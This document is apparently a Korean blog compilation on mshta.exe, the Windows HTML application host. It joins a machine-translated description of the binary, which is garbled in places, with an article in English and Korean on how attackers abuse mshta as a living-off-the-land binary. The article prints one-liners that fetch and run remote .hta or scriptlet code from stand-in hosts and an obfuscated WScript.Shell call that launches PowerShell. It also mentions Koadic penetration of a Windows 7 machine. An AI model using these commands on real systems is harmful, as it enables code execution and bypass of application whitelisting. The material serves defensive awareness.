mshta.exe
일반적으로 .hta(HTML 응용 프로그램) 파일을 실행시키는데 사용된다.
> mshta.exe aaa.hta
이외에도 직접 VBS나 JS 코드를 실행시킬 수도 있다.
> mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")
> mshta.exe javascript:alert('test');
출처 :
mshta.exe 란 무엇입니까?
정품 mshta.exe 파일은 Microsoft 의 Microsoft HTML 응용 프로그램 호스트 의 소프트웨어 구성 요소입니다.Microsoft Windows는 운영 체제입니다. Mshta.exe는 Windows 운영 체제에서 HTA (HTML 응용 프로그램) 파일을 실행하는 유틸리티 인 Microsoft HTML 응용 프로그램 호스트를 실행합니다. 이것은 PC에 유해한 것으로 간주되지 않습니다 .Microsoft HTML 응용 프로그램 호스트는 소스 코드가 HTML, 동적 HTML 및 VBScript 또는 JScript와 같은 Internet Explorer와 호환되는 몇 가지 스크립팅 언어로 구성된 프로그램입니다. 이 기술은 1999 년 Microsoft Windows에서 처음 소개되었으며 2003 년에 특허를 취득했습니다. 일반적으로 Internet Explorer와 함께 설치되며 mshta.exe 파일에 의해 실행됩니다.
Paul Allen과 Bill Gates가 1975 년에 설립 한 Microsoft Corporation은 컴퓨터 소프트웨어, 개인용 컴퓨터 및 소비자 전자 제품을 개발, 제조 및 지원하는 미국 다국적 기술 기업입니다. 이 회사는 Windows 운영 체제로 유명합니다. Xbox 비디오 게임 콘솔 및 Microsoft Surface 타블렛 라인업. Microsoft는 Skype Technologies를 2011 년에 85 억 달러, LinkedIn을 262 억 달러에 인수했으며 2016 년에 세계에서 가장 가치있는 회사였습니다.
MsHTA는 ML MLA 응용 프로그램의 약자입니다
파일 이름의 .exe 확장자는 exe cutable 파일을 나타냅니다. 실행 파일은 컴퓨터에 해를 끼치는 경우가 있습니다.
출처 :
ko.nex-software.com/what-is-mshta-exe
Mshta 란 무엇이며 어떻게 사용하고 보호하는 방법
공격자가 자신의 맞춤형 악성 코드에 전적으로 의존하기보다 시스템에 이미 존재하는 도구를 더 많이 활용하는 경향이 증가하고 있습니다.
범죄에 .hta 파일 또는 그 파트너 인 mshta.exe를 사용하는 것은 공격에 매크로 사용 문서를 사용하는 대신 사용할 수 있으며 오래 전부터 사용되어 왔습니다. MITER ATT & CK 매트릭스에 자체 셀 이있을 정도로 유연성이 뛰어난 도구 입니다.
Mshta를 위험하게 만드는 것은 무엇입니까?
우선 Windows에 이미 존재하는 서명 된 네이티브 Microsoft 바이너리로, 다양한 방식으로 코드를 실행할 수 있으며, 오늘날 공격자들이 좋아하는 토지 문화에서 살아 가기 때문에 코드 실행이 가능하기 때문에 주요 응용 프로그램이됩니다. 그것을 통해 프록시됩니다.
Mshta.exe를 사용하여 애플리케이션 허용 목록 방어 및 브라우저 보안 설정을 우회 할 수도 있습니다.
이러한 유형의 바이너리는 구어 적으로 "LOLBINs"라고 불렸지만보다 공식적으로는 Mitre 실행 전술 내에서 기술로 바뀌 었습니다. 기술 T1218 및 T1216 : 각각 서명 된 바이너리 프록시 실행 및 서명 된 스크립트 프록시 실행 [1]
사용 방법 :
네이티브 Windows 바이너리의 가장 흥미로운 남용은 코드로 전달 된 프로그램을 실행하거나 원격으로 호스팅되는 페이로드를 실행하는 프로그램을 실행할 수 있다는 것입니다. 이것은 Casey Smith의 squibblydoo 및 squiblytwo 공격에서 꽤 인기가 있었는데, regsvr32와 wmic (LOLBIN이라고도 함)이 둘 다 원격 호스팅 된 코드를 실행할 수있는 서명 된 Windows 바이너리 인 것으로 밝혀졌습니다.
예 1 : 실행중인 원격 파일 :
mshta.exe http[:]//malicioussite.com/superlegit.hta
예제 2 : 인라인 JScript / Vbscript를 실행하는 데 사용되는 Mshta.
참고 :이 구문은 cmd에서만 작동하지만 PowerShell에서 실행하면 오류가 발생합니다.
mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close)
예제 3 : JavaScript를 사용하여 com 스크립틀릿에서 Exec이라는 공용 메서드 호출 :
mshta javascript:a=GetObject(“script:http://c2[.]com/cmd.sct”).Exec()
참고 : exec 메소드를 사용한 mshta 사용과 위의 요점에서 regsvr32의 해당 사용 사이의 유사점을 확인하십시오.
또는 .hta 확장자를 가진 파일은 매크로 사용 문서와 같이 코드가 열릴 때 자동 실행되도록 설정된 사용자가 쉽게 두 번 클릭 할 수 있습니다.
공용 도구의 가용성
누군가가 mshta를 사용하기위한 페이로드를 빠르게 생성 할 수 있도록 쉽게 액세스 할 수있는 저장소가 부족하지 않습니다. .hta 파일 형식 생성은 Empire, Metasploit , Unicorn 및 Koadic 과 같은 거의 모든 공개 레드 팀 도구에서 사용할 수 있습니다 .
그러나 mshta의 사용은 .hta 파일로 제한되지 않는다는 것을 잊지 마십시오. 또한 com 스크립틀릿 (.sct) 내에 등록 된 코드를 호출 할 수 있으므로 GreatSCT 와 같은 다른 도구와 관련이 있습니다.
powershell.exe가 차단 된 경우에도 nps 페이로드 와 같은 도구 에는 프로젝트를 동적으로 빌드하고 msbuild (지친 또 다른 도구)로 컴파일하여 powershell 명령을 실행할 수있는 도구를 만들 수있는 .hta 파일이 있습니다. powershell.exe를 전혀 사용하지 않습니다.
The not-so Usual Suspects
There is a growing trend for attackers to more heavily utilize tools that already exist on a system rather than relying totally on their own custom malware.
Using .hta files or its partner in crime, mshta.exe, is an alternative to using macro enabled document for attacks and has been around a long time. It is a tool so flexible it even has its own cell on the MITRE ATT&CK matrix.
What Makes Mshta Dangerous?
To start, it is a signed, native Microsoft binary that already exists on Windows that can execute code in a variety of ways, and in today’s living off the land culture that attackers love, this makes it a prime application of interest since code execution can be proxied through it.
Mshta.exe can also be used to bypass application whitelisting defenses and browser security settings.
These types of binaries have been colloquially dubbed “LOLBINs” but more formally have been turned into techniques within the Mitre tactic of Execution. Techniques T1218 and T1216: Signed binary proxy execution and Signed Script Proxy Execution, respectively.[1]
How It Is Used:
The most interesting abuse of native Windows binaries is the ability to run a program that will either execute passed in code, or that will execute a payload hosted remotely. This was quite popular with Casey Smith’s squibblydoo and squiblytwo attacks where regsvr32 and wmic (also considered LOLBINs) were both found to be signed windows binaries able to execute code hosted remotely.
Example 1: A remote file being executed:
mshta.exe http[:]//malicioussite.com/superlegit.hta
Example 2: Mshta used to execute inline JScript/Vbscript.
Note: this syntax only works in cmd but will give an error if executed in PowerShell.
mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close)
Example 3: Calling a public method named Exec in a com scriptlet with JavaScript:
mshta javascript:a=GetObject(“script:http://c2[.]com/cmd.sct”).Exec()
Note: notice the similarities between the usage of mshta with the exec method and the corresponding use in regsvr32 in the above gist.
Alternatively, a file with a .hta extension can just as easily be double clicked on by the user where the code is set to autorun on open much like a macro enabled document.
Availability in Public Tools
There is no shortage of easily accessible repos to help someone quickly generate a payload to use mshta. .hta file type generation is available in nearly all public red-teaming tools such as Empire, Metasploit, Unicorn, and Koadic.
Do not forget, however, that mshta’s use is not limited to .hta files. It can also call code registered inside of com scriptlets (.sct) so it is relevant to other tools such as GreatSCT.
It’s also worth noting that even if you have powershell.exe blocked, tools like nps payload have .hta files that dynamically build a project and compile it with msbuild (another tool to be weary of) to create a tool that can execute powershell commands without using powershell.exe at all.
출처 :
사용 예)
koadic 내부침투 도구
에서의 mshta 활용.
- 공격자 PC (Kali Linux)
- 희생자 PC (Windows 7)
내부 침투 성공